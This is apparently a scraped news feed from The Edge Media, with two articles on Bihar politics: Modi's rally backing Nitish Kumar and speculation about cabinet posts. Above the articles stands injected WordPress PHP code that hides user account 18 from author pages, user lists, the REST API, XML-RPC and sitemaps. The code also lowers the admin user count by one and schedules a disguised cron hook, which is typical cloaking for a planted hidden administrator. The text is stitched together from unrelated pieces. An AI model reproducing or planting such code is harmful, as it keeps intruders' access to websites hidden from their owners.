add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post PM Modi Predicts Record-Breaking Win for NDA Under Nitish Kumar in Bihar Elections appeared first on The Edge Media.
]]>Speaking at his first campaign rally in the state, Modi took a sharp dig at the INDIA bloc, saying it was led by “leaders who are currently out on bail.”
During the event, Modi asked the crowd to light up their mobile flashlights, symbolizing a move toward modernity. Taking a jab at the Rashtriya Janata Dal (RJD), he remarked, “When everyone has access to modern technology, there’s no need for the old lantern anymore,” referring to the RJD’s election symbol.
The Prime Minister praised Nitish Kumar’s leadership, highlighting that despite facing difficulties during the Congress-led UPA government’s tenure, Nitish remained focused on development. “When he took office in 2005, nearly a decade of his term was affected by a non-cooperative central government, pressured by the RJD not to support Bihar’s NDA administration,” Modi said.
He emphasized that under the NDA government, Bihar has witnessed significant growth. “In the past eleven years, the state has received three times more central assistance than it did before. Bihar has made remarkable progress — from being dependent on others for basic needs to now exporting fish and expanding its makhana trade across the country and abroad,” Modi stated.
Calling Bihar an emerging investment destination, Modi envisioned a future driven by youth innovation. “I see every district of Bihar becoming a hub of startups led by young entrepreneurs,” he added, expressing optimism about the state’s development trajectory.
The post PM Modi Predicts Record-Breaking Win for NDA Under Nitish Kumar in Bihar Elections appeared first on The Edge Media.
]]>The post Form of Nitish cabinet decided, who can become a minister from BJP and JDU? appeared first on The Edge Media.
]]>At present, there are 14 ministers in Bihar government regarding Nitish Kumar, out of which 7 are from BJP, 5 from Janata Dal United, 1 from Hindustani Awam Morcha and 1 from Vikas Insaan Party. The number of vacant ministerial posts in the Bihar government is 22 at this time. Nitish Kumar was constantly demanding that the vacant ministerial seat should be divided on the 50:50 formula and it seems that Nitish Kumar has been successful in putting pressure on the BJP.
According to information from sources, the vacancy of the ministerial post has been done on a 50:50 formula between BJP and Janata Dal United. It is believed that when Nitish’s cabinet gets expanded, then 11 ministers will be from BJP quota and the remaining 11 from Janata Dal United quota.
If on this basis, there is a ministerial division between the BJP and Janata Dal United, then there will be a total of 18 ministers from the BJP quota, 16 ministers from the Janata Dal United quota, one from the Hindustani Awam Morcha and one from the developing Insan Party.
Shahnawaz Hussain, a senior party leader and national spokesperson from the BJP quota, is almost certain to become a minister in the Nitish government. Shahnawaz Hussain had filed his nomination for Bihar Legislative Council by-election 2 days ago and no one had filed nomination against him and in such a situation he has become unopposed MLC.
MLC Samrat Chaudhary from BJP quota and Sanjeev Chaurasia, MLA from Digha are also in the race to become ministers. There is also talk of BJP MLA Rana Randhir from Madhuban and BJP MLA Pramod Kumar from Motihari. MLA Krishna Kumar Rishi from Banmankhi and Sanjay Kumar Singh from Lalganj can also become ministers.
Former minister from BJP quota and Nitish Mishra, MLA from Jhanjharpur and Sanjay Saraogi, MLA from Darbhanga can also become ministers. Ramnagar MLA Bhagirathi Devi from BJP quota and Rampravesh Rai, MLA from Barauli can also be made ministers.
It is almost certain to make Nalanda MLA and former minister Shravan Kumar a minister. Shravan Kumar is a Kurmi from the caste. Former minister Rajput quota and MLA from Dhamdaha Lacey Singh and independent MLA from Chakai Sumit Singh are likely to become ministers. Either of the two can be made a minister.
The names that are being discussed with Kushwaha quota include Amarpur MLA Jayant Raj and Harlakhi MLA Sudhanshu Shekhar. MLC Kumud Verma may also find a place in the Nitish cabinet. There is talk of making Parbatta MLA Sanjeev Singh from Bhumihar quota and Shalini Mishra, MLA from Kesariya. Former minister Neeraj Kumar can also be made a minister from Bhumihar quota.
Bahadurpur MLA and former minister Madan Sahni and MLA from Rupauli and former minister Bima Bharti can get a place in Nitish’s cabinet from the extremely backward quota. Former minister and MLA from Jhajha Damodar Rawat may also get a ministerial post. Former IPS officer from Dalit quota and Sunil Kumar, MLA from Bhore, can be made a minister.
The post Form of Nitish cabinet decided, who can become a minister from BJP and JDU? appeared first on The Edge Media.
]]>